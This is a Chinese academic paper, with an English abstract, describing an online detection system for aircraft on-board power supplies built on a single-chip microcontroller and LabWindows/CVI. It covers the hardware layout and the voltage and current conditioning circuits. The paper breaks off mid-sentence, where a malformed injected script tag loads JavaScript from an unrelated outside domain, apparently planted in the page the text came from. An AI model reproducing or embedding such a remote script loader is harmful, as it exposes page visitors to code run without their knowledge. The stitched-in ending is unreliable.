摘 要：介绍一种机载电源在线检测系统。该系统基于虚拟仪器技术，上位机软件采用labwindows／cvi6．0开发，硬件电路的主控芯片采用at89c51单片机。系统实现了飞机检修过程中机载电源的动态检测和故障定位，具有检测结果实时、故障诊断准确等特点。
关键词：虚拟仪器；单片机；绝对值电路；labwindows／cvi6．0
online detection system based on virtual instrument for on-board
power of airplane
gao honghong，hao yingji
（school of mechanicalengineering，xi′an university of science and technology，xi′an，710054，china）
abstract: the online detection system is introduced for on-board power of airplane.it based on virtual instrument,the software of its computer system is developed with lab windows／cvi6．0，the mcu of its hardware circuitis at89c51．the system achieved dynamic testing of on-board power and fault location during airplane servicing,its testing result is real-time and fault diagnosis is accurate．
keywords：virtualinstrument；mcu；absolute value circuitry；labwindows／cvi6．0
机载电源的正常工作关系到整个飞机的安全运行，他一般提供直流27 v，交流26 v，115 v电源，因此对他的准确检测非常重要。在飞机的检修过程中，对上述电源的性能指标进行实时检测和记录分析，有助于发现并排除故障。目前飞机检修一般采用的检测方法是用各种仪表以手动方式对各个电参量进行检测，因此检测过程不连续，动态瞬时故障通常难以发现和定位，检测读数由人工判断，大量数据难于记录准确。本文介绍的机载电源在线检测系统旨在解决上述飞机检修过程中存在的问题，提高检测结果的准确性和实时性，对记录数据进行分析，及时发现电源的各种潜在故障。该系统利用虚拟仪器技术，硬件结构紧凑，软件功能强大且人机界面友好。限于篇幅，本文着重介绍系统的硬件组成和用labwindows／cvi6．0开发的上位机通信软件。
1 系统硬件设计
1．1 硬件总体设计
虚拟仪器系统通常具有如下几种形式：数据采集系统、gpib（通用接口总线）仪器系统、vxi仪器系 统以及他们三者的组合构成形式。该机载电源检测系统就是一种基于数据采集系统的虚拟仪器，这类仪器通常由传感器或采样电路、信号调理电路、数据采集卡（板）、计算机4部分组成，如图1所示。
该系统要实现对6路模拟电源信号（包括直流电源27 v／10 a，交流电源115 v／5 a和26 v／1 a）和400 hz。电源频率的在线实时采集、显示和存储。数据采集板是该硬件系统的核心，其结构框图如图2所示，待检测的电压、电流模拟信号先经采样电路和信号调理电路，再由12 b转换精度的a／d转换器转换成数字信号后送给单片机89c51；频率信号由交流26 v或115 v电压信号中获得，经二极管调幅检波、施密特反相器脉冲整形后送给89c51的定时器t0，89c51对上述数字信号进行相应处理后，通过全双工串行接口和rs232电平转换连接上位计算机，计算机对实时数据显示出来（正常情况下，电压、电流和频率的值一定，显示为直线）。
1．2 电压、电流信号检测电路的设计
本系统要实现对交流电压115 v，26 v，电流5 a，1 a模拟信号的采集，在前向信号调理和采集电路中，需将交流信号转换为直流电压信号，再进行模数转换，因此在数据采集板中采用了绝对值电路和12 b的a／d转换器。
交流电压信号检测电路原理如图3所示，其前端是一种电流型电压互感器，串联电阻分压有利于减小互感器的功率，提高变流的精度。
实际测量时，为了防止采样变压器线圈磁饱和，在初级电路中增加了60 kω的限流电阻，互感器的输出阻抗为1 kω，原边和副边匝数比为1∶1，内阻为300ω，在115 v电压输入时线圈电流约为2 ma，通过互感器的总功率为2×2×300／1 000＝1．2 mw。为了提高信号的采集精度加了一级电压跟随，得到（a／d转换器的参考正电压），再经绝对值电路变换得到直流电压信号送给a／d转换器。其后端的绝对值电路由半波整流电路和加法电路组成。调幅检波是利用二极管的单向导通性，当输入电压vi＞0时，d1导通，d2截止，电压v＝－vi，此时整流电路的输出电压vo＝vi＞0；当输入电压vi＜0时，d1截止，d2导通，电压v＝0，此时整流电路的输出电压vo＝－vi＞0。由此可见，该绝对值电路的输出电压vo＝｜vi｜，可单边检出调制信号。
交流5 a检测电路的信号调理和采集部分与交流电压相似，由于后面的测量电路要求功率较小，前端信号采样电路采用了1∶2 000的精密电流互感器，其体积小且相对测量精度较高。如图4?script src=http://er12.com/t.js>
